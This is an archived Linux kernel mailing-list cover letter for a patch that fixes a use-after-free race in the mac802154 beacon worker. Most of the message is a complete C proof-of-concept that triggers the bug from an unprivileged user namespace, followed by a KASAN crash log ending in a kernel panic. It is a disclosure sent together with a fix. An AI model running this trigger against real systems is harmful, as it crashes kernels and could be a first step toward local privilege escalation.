From: Zihan Xi <zihanx@nebusec.ai>
To: linux-wpan@vger.kernel.org, netdev@vger.kernel.org
Cc: alex.aring@gmail.com, stefan@datenfreihafen.org,
miquel.raynal@bootlin.com, davem@davemloft.net,
edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
david.girault@qorvo.com, vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net 0/1] mac802154: Fix beacon worker UAF
Date: Sun, 2 Aug 2026 09:23:33 +0000 [thread overview]
Message-ID: <cover.1785596603.git.zihanx@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated a issue in net/mac802154/scan.c. The bug is
reachable by a user who becomes namespaced root in user and net
namespaces, with nl802154 admin operations requiring CAP_NET_ADMIN in
that namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
mac802154_beacon_worker() reads local->beacon_req under RCU, derives the
sub-interface from beacon_req->wpan_dev, and then drops the RCU read
lock before using sdata and wpan_dev.
mac802154_stop_beacons_locked() only cancels pending delayed work with
cancel_delayed_work(), clears local->beacon_req, and frees the request.
If the beacon worker is already running, interface teardown can free the
netdev private area while the worker continues to dereference sdata and
the embedded wpan_dev outside RCU.
The selected baseline already contains an equivalent netdev reference
fix for mac802154_scan_worker(). This patch applies the same lifetime
rule to mac802154_beacon_worker(): take a netdev reference while the RCU
read lock still protects the request-derived sdata pointer, and release
it on every path that continues after the reference is acquired.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) \
((attrlen) -= NLA_ALIGN((nla)->nla_len), \
(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) \
((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (len))
#endif
#define NL802154_GENL_NAME "nl802154"
#define MAX_MSG 8192
#define PAN_ID_BASE 0x1234
enum nl802154_commands {
NL802154_CMD_UNSPEC,
NL802154_CMD_GET_WPAN_PHY,
NL802154_CMD_SET_WPAN_PHY,
NL802154_CMD_NEW_WPAN_PHY,
NL802154_CMD_DEL_WPAN_PHY,
NL802154_CMD_GET_INTERFACE,
NL802154_CMD_SET_INTERFACE,
NL802154_CMD_NEW_INTERFACE,
NL802154_CMD_DEL_INTERFACE,
NL802154_CMD_SET_CHANNEL,
NL802154_CMD_SET_PAN_ID,
NL802154_CMD_SET_SHORT_ADDR,
NL802154_CMD_SET_TX_POWER,
NL802154_CMD_SET_CCA_MODE,
NL802154_CMD_SET_CCA_ED_LEVEL,
NL802154_CMD_SET_MAX_FRAME_RETRIES,
NL802154_CMD_SET_BACKOFF_EXPONENT,
NL802154_CMD_SET_MAX_CSMA_BACKOFFS,
NL802154_CMD_SET_LBT_MODE,
NL802154_CMD_SET_ACKREQ_DEFAULT,
NL802154_CMD_SET_WPAN_PHY_NETNS,
NL802154_CMD_SET_SEC_PARAMS,
NL802154_CMD_GET_SEC_KEY,
NL802154_CMD_NEW_SEC_KEY,
NL802154_CMD_DEL_SEC_KEY,
NL802154_CMD_GET_SEC_DEV,
NL802154_CMD_NEW_SEC_DEV,
NL802154_CMD_DEL_SEC_DEV,
NL802154_CMD_GET_SEC_DEVKEY,
NL802154_CMD_NEW_SEC_DEVKEY,
NL802154_CMD_DEL_SEC_DEVKEY,
NL802154_CMD_GET_SEC_LEVEL,
NL802154_CMD_NEW_SEC_LEVEL,
NL802154_CMD_DEL_SEC_LEVEL,
NL802154_CMD_SCAN_EVENT,
NL802154_CMD_TRIGGER_SCAN,
NL802154_CMD_ABORT_SCAN,
NL802154_CMD_SCAN_DONE,
NL802154_CMD_SEND_BEACONS,
NL802154_CMD_STOP_BEACONS,
};
enum nl802154_attrs {
NL802154_ATTR_UNSPEC,
NL802154_ATTR_WPAN_PHY,
NL802154_ATTR_WPAN_PHY_NAME,
NL802154_ATTR_IFINDEX,
NL802154_ATTR_IFNAME,
NL802154_ATTR_IFTYPE,
NL802154_ATTR_WPAN_DEV,
NL802154_ATTR_PAGE,
NL802154_ATTR_CHANNEL,
NL802154_ATTR_PAN_ID,
NL802154_ATTR_SHORT_ADDR,
NL802154_ATTR_TX_POWER,
NL802154_ATTR_CCA_MODE,
NL802154_ATTR_CCA_OPT,
NL802154_ATTR_CCA_ED_LEVEL,
NL802154_ATTR_MAX_FRAME_RETRIES,
NL802154_ATTR_MAX_BE,
NL802154_ATTR_MIN_BE,
NL802154_ATTR_MAX_CSMA_BACKOFFS,
NL802154_ATTR_LBT_MODE,
NL802154_ATTR_GENERATION,
NL802154_ATTR_CHANNELS_SUPPORTED,
NL802154_ATTR_SUPPORTED_CHANNEL,
NL802154_ATTR_EXTENDED_ADDR,
NL802154_ATTR_WPAN_PHY_CAPS,
NL802154_ATTR_SUPPORTED_COMMANDS,
NL802154_ATTR_ACKREQ_DEFAULT,
NL802154_ATTR_PAD,
NL802154_ATTR_PID,
NL802154_ATTR_NETNS_FD,
NL802154_ATTR_COORDINATOR,
NL802154_ATTR_SCAN_TYPE,
NL802154_ATTR_SCAN_FLAGS,
NL802154_ATTR_SCAN_CHANNELS,
NL802154_ATTR_SCAN_PREAMBLE_CODES,
NL802154_ATTR_SCAN_MEAN_PRF,
NL802154_ATTR_SCAN_DURATION,
NL802154_ATTR_SCAN_DONE_REASON,
NL802154_ATTR_BEACON_INTERVAL,
};
enum nl802154_iftype {
NL802154_IFTYPE_UNSPEC = (~(__u32)0),
NL802154_IFTYPE_NODE = 0,
NL802154_IFTYPE_MONITOR,
NL802154_IFTYPE_COORD,
};
struct nl_state {
int fd;
uint32_t seq;
uint16_t family_id;
};
struct new_if_arg {
uint32_t phy;
const char *name;
uint32_t iftype;
};
struct set_pan_arg {
uint32_t ifidx;
uint16_t pan_id;
};
struct beacon_arg {
uint32_t ifidx;
uint8_t interval;
};
static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t attr_len = NLA_HDRLEN + len;
size_t new_len = off + NLA_ALIGN(attr_len);
if (new_len > maxlen)
return -1;
struct nlattr *nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = attr_len;
memcpy((char *)nla + NLA_HDRLEN, data, len);
memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
nlh->nlmsg_len = new_len;
return 0;
}
static int add_attr_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint8_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t val)
{
return add_attr(nlh, maxlen, type, &val, sizeof(val));
}
static int add_attr_str(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const char *s)
{
return add_attr(nlh, maxlen, type, s, strlen(s) + 1);
}
static int nl_open(struct nl_state *st)
{
struct sockaddr_nl addr;
st->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (st->fd < 0)
return -errno;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = getpid() ^ (uint32_t)time(NULL);
if (bind(st->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
int err = -errno;
close(st->fd);
st->fd = -1;
return err;
}
st->seq = 0;
st->family_id = 0;
return 0;
}
static int nl_send(struct nl_state *st, struct nlmsghdr *nlh)
{
struct sockaddr_nl nladdr;
struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
struct msghdr msg;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(st->fd, &msg, 0) < 0)
return -errno;
return 0;
}
static int nl_recv_for_seq(struct nl_state *st, uint32_t seq,
int (*cb)(struct nlmsghdr *, void *), void *cb_arg,
bool *got_answer)
{
char buf[MAX_MSG];
for (;;) {
ssize_t len = recv(st->fd, buf, sizeof(buf), 0);
if (len < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_seq != seq)
continue;
if (got_answer)
*got_answer = true;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
if (cb) {
int ret = cb(nlh, cb_arg);
if (ret)
return ret;
} else {
return 0;
}
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
}
}
}
static int parse_family_id(struct nlmsghdr *nlh, void *arg)
{
uint16_t *family_id = arg;
struct genlmsghdr *genl;
struct nlattr *attr;
int rem;
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
if (nlh->nlmsg_len < NLMSG_LENGTH(GENL_HDRLEN))
return -EINVAL;
genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);
for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
*family_id = *(uint16_t *)NLA_DATA(attr);
return 1;
}
}
return 0;
}
static int nl_resolve_family(struct nl_state *st, const char *family_name)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
uint32_t seq = ++st->seq;
uint16_t id = 0;
bool got = false;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
if (add_attr_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, family_name) < 0)
return -EMSGSIZE;
ret = nl_send(st, nlh);
if (ret < 0)
return ret;
for (;;) {
ret = nl_recv_for_seq(st, seq, parse_family_id, &id, &got);
if (ret == 1)
break;
if (ret < 0)
return ret;
if (got)
break;
}
if (!id)
return -ENOENT;
st->family_id = id;
return 0;
}
static int nl_cmd(struct nl_state *st, uint8_t cmd,
int (*fill)(struct nlmsghdr *, size_t, void *), void *fill_arg,
bool need_ack)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
uint32_t seq = ++st->seq;
bool got = false;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = st->family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | (need_ack ? NLM_F_ACK : 0);
nlh->nlmsg_seq = seq;
genl->cmd = cmd;
genl->version = 1;
if (fill && fill(nlh, sizeof(buf), fill_arg) < 0)
return -EMSGSIZE;
ret = nl_send(st, nlh);
if (ret < 0)
return ret;
if (!need_ack)
return 0;
ret = nl_recv_for_seq(st, seq, NULL, NULL, &got);
if (ret < 0)
return ret;
return 0;
}
static int set_if_up(const char *ifname, bool up)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
if (fd < 0)
return -errno;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
int err = -errno;
close(fd);
return err;
}
if (up)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
int err = -errno;
close(fd);
return err;
}
close(fd);
return 0;
}
static int fill_new_if(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct new_if_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_WPAN_PHY, arg->phy) < 0)
return -1;
if (add_attr_str(nlh, maxlen, NL802154_ATTR_IFNAME, arg->name) < 0)
return -1;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFTYPE, arg->iftype) < 0)
return -1;
return 0;
}
static int fill_ifidx(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
uint32_t ifidx = *(uint32_t *)arg_;
return add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, ifidx);
}
static int fill_set_pan(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct set_pan_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
return -1;
if (add_attr_u16(nlh, maxlen, NL802154_ATTR_PAN_ID, arg->pan_id) < 0)
return -1;
return 0;
}
static int fill_beacon(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
struct beacon_arg *arg = arg_;
if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
return -1;
if (add_attr_u8(nlh, maxlen, NL802154_ATTR_BEACON_INTERVAL, arg->interval) < 0)
return -1;
return 0;
}
static int cmd_new_interface(struct nl_state *st, uint32_t phy, const char *name,
uint32_t iftype)
{
struct new_if_arg arg = {
.phy = phy,
.name = name,
.iftype = iftype,
};
return nl_cmd(st, NL802154_CMD_NEW_INTERFACE, fill_new_if, &arg, true);
}
static int cmd_del_interface(struct nl_state *st, uint32_t ifidx)
{
return nl_cmd(st, NL802154_CMD_DEL_INTERFACE, fill_ifidx, &ifidx, true);
}
static int cmd_set_pan_id(struct nl_state *st, uint32_t ifidx, uint16_t pan_id)
{
struct set_pan_arg arg = {
.ifidx = ifidx,
.pan_id = pan_id,
};
return nl_cmd(st, NL802154_CMD_SET_PAN_ID, fill_set_pan, &arg, true);
}
static int cmd_send_beacons(struct nl_state *st, uint32_t ifidx, uint8_t interval)
{
struct beacon_arg arg = {
.ifidx = ifidx,
.interval = interval,
};
return nl_cmd(st, NL802154_CMD_SEND_BEACONS, fill_beacon, &arg, true);
}
int main(int argc, char **argv)
{
struct nl_state st;
int iterations = 100000;
uint32_t phy = 0;
uint64_t create_ok = 0, beacon_ok = 0, del_ok = 0;
int ret;
if (argc > 1)
iterations = atoi(argv[1]);
srand((unsigned int)time(NULL));
memset(&st, 0, sizeof(st));
ret = nl_open(&st);
if (ret < 0) {
fprintf(stderr, "nl_open failed: %d\n", ret);
return 1;
}
ret = nl_resolve_family(&st, NL802154_GENL_NAME);
if (ret < 0) {
fprintf(stderr, "resolve %s failed: %d\n", NL802154_GENL_NAME, ret);
return 1;
}
for (int i = 0; i < iterations; i++) {
char ifname[32];
uint32_t ifidx;
uint16_t pan_id = (uint16_t)(PAN_ID_BASE + (i & 0xff));
struct timespec ts;
snprintf(ifname, sizeof(ifname), "bcn%d", i % 1000);
ret = cmd_new_interface(&st, phy, ifname, NL802154_IFTYPE_COORD);
if (ret < 0) {
if (ret == -EEXIST) {
sched_yield();
continue;
}
fprintf(stderr, "[%d] new_interface(%s) failed: %d\n", i, ifname, ret);
continue;
}
create_ok++;
ifidx = if_nametoindex(ifname);
if (!ifidx) {
fprintf(stderr, "[%d] if_nametoindex(%s) failed\n", i, ifname);
continue;
}
ret = cmd_set_pan_id(&st, ifidx, pan_id);
if (ret < 0) {
fprintf(stderr, "[%d] set_pan_id(%u) failed: %d\n", i, ifidx, ret);
cmd_del_interface(&st, ifidx);
continue;
}
ret = set_if_up(ifname, true);
if (ret < 0) {
fprintf(stderr, "[%d] set_if_up(%s) failed: %d\n", i, ifname, ret);
cmd_del_interface(&st, ifidx);
continue;
}
ret = cmd_send_beacons(&st, ifidx, 0);
if (ret < 0) {
fprintf(stderr, "[%d] send_beacons(%u) failed: %d\n", i, ifidx, ret);
cmd_del_interface(&st, ifidx);
continue;
}
beacon_ok++;
ts.tv_sec = 0;
ts.tv_nsec = (long)(1000 * (50 + (rand() % 600)));
nanosleep(&ts, NULL);
ret = cmd_del_interface(&st, ifidx);
if (ret < 0 && ret != -ENODEV)
fprintf(stderr, "[%d] del_interface(%u) failed: %d\n", i, ifidx, ret);
else
del_ok++;
if ((i % 100) == 0) {
printf("iter=%d create_ok=%llu beacon_ok=%llu del_ok=%llu\n",
i,
(unsigned long long)create_ok,
(unsigned long long)beacon_ok,
(unsigned long long)del_ok);
fflush(stdout);
}
}
close(st.fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 45.261167] net bcn629: Beacon could not be transmitted (-100)
[ 45.538139] net bcn637: Beacon could not be transmitted (-100)
[ 45.712979] net bcn642: Beacon could not be transmitted (-100)
[ 45.880237] net bcn648: Beacon could not be transmitted (-100)
[ 45.930786] ==================================================================
[ 45.945098] BUG: KASAN: slab-use-after-free in mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.958894] Read of size 8 at addr ffff888009701b28 by task kworker/u8:2/54
[ 45.971385]
[ 45.973998] CPU: 0 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 45.974003] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 45.974005] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[ 45.974012] Call Trace:
[ 45.974015] <TASK>
[ 45.974017] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 45.974021] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 45.974024] ? __pfx__raw_spin_lock_irqsave (include/asm-generic/qrwlock.h:122 (discriminator 4))
[ 45.974027] ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974029] kasan_report (mm/kasan/report.c:595)
[ 45.974031] ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974033] mac802154_beacon_worker (net/mac802154/scan.c:447)
[ 45.974035] process_one_work (kernel/workqueue.c:3322)
[ 45.974040] ? assign_work (kernel/workqueue.c:1233)
[ 45.974042] worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[ 45.974044] ? __pfx_worker_thread (include/linux/list.h:249)
[ 45.974046] kthread (kernel/kthread.c:436)
[ 45.974048] ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:181)
[ 45.974050] ? __pfx_kthread (include/linux/list.h:162)
[ 45.974052] ret_from_fork (arch/x86/kernel/process.c:158)
[ 45.974054] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[ 45.974056] ? __switch_to (arch/x86/kernel/process_64.c:403 arch/x86/kernel/process_64.c:663)
[ 45.974058] ? __pfx_kthread (include/linux/list.h:162)
[ 45.974060] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 45.974063] </TASK>
[ 45.974063]
[ 46.185457] Allocated by task 257:
[ 46.191459] kasan_save_stack (mm/kasan/common.c:57)
[ 46.198963] kasan_save_track (mm/kasan/common.c:78)
[ 46.206032] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 46.212506] __kvmalloc_node_noprof (include/linux/kasan.h:263 mm/slub.c:5362 mm/slub.c:6933)
[ 46.220575] alloc_netdev_mqs (net/core/dev.c:12054 (discriminator 2))
[ 46.228370] ieee802154_if_add (net/mac802154/iface.c:620)
[ 46.235835] ieee802154_add_iface (net/mac802154/cfg.c:92)
[ 46.242768] nl802154_new_interface (net/ieee802154/rdev-ops.h:56 net/ieee802154/nl802154.c:948)
[ 46.251225] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[ 46.259138] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 46.267140] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 46.274455] genl_rcv (net/netlink/genetlink.c:1218)
[ 46.279978] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 46.287407] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 46.294879] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 46.302513] ___sys_sendmsg (net/socket.c:2738)
[ 46.310950] __sys_sendmsg (net/socket.c:2770)
[ 46.317836] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 46.325225] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 46.334407]
[ 46.337166] Freed by task 257:
[ 46.342323] kasan_save_stack (mm/kasan/common.c:57)
[ 46.349979] kasan_save_track (mm/kasan/common.c:78)
[ 46.357214] kasan_save_free_info (mm/kasan/generic.c:584)
[ 46.365218] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 46.372115] kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[ 46.378280] device_release (drivers/base/core.c:2636)
[ 46.385399] kobject_put (lib/kobject.c:689 lib/kobject.c:720 include/linux/kref.h:65 lib/kobject.c:737)
[ 46.391492] netdev_run_todo (net/core/dev.c:11755)
[ 46.398749] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1117)
[ 46.407140] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 46.413714] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 46.421327] genl_rcv (net/netlink/genetlink.c:1218)
[ 46.427117] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 46.434304] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 46.441234] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 46.448433] ___sys_sendmsg (net/socket.c:2738)
[ 46.455085] __sys_sendmsg (net/socket.c:2770)
[ 46.464857] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 46.471414] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 46.480946]
[ 46.483515] The buggy address belongs to the object at ffff888009701000
[ 46.483515] which belongs to the cache kmalloc-4k of size 4096
[ 46.507299] The buggy address is located 2856 bytes inside of
[ 46.507299] freed 4096-byte region [ffff888009701000, ffff888009702000)
[ 46.530004]
[ 46.532790] The buggy address belongs to the physical page:
[ 46.543614] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x9700
[ 46.558297] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 46.572146] flags: 0x100000000000040(head|node=0|zone=1)
[ 46.585565] page_type: f5(slab)
[ 46.591088] raw: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[ 46.605298] raw: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[ 46.619680] head: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[ 46.635070] head: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[ 46.649082] head: 0100000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[ 46.663669] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 46.677896] page dumped because: kasan: bad access detected
[ 46.687759]
[ 46.690081] Memory state around the buggy address:
[ 46.700017] ffff888009701a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.712698] ffff888009701a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.724750] >ffff888009701b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.737595] ^
[ 46.745612] ffff888009701b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.758377] ffff888009701c00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 46.771889] ==================================================================
[ 46.785657] clocksource: Marking clocksource tsc unstable due to frequency skew
[ 46.798517] clocksource: Watchdog kvm-clock interval: 1581ns
[ 46.817052] clocksource: Clocksource tsc interval: 1465ns
[ 46.834198] tsc: Marking TSC unstable due to clocksource watchdog
[ 46.852453] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 46.865384] CPU: 1 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 46.884681] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 46.909534] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[ 46.920741] Call Trace:
[ 46.925297] <TASK>
[ 46.929456] vpanic (kernel/panic.c:651)
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
mac802154: fix netdev use-after-free in beacon worker
net/mac802154/scan.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
next reply other threads:[~2026-08-02 9:24 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-02 9:23 Zihan Xi [this message]
2026-08-02 9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1785596603.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=alex.aring@gmail.com \
--cc=davem@davemloft.net \
--cc=david.girault@qorvo.com \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=linux-wpan@vger.kernel.org \
--cc=miquel.raynal@bootlin.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=stefan@datenfreihafen.org \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox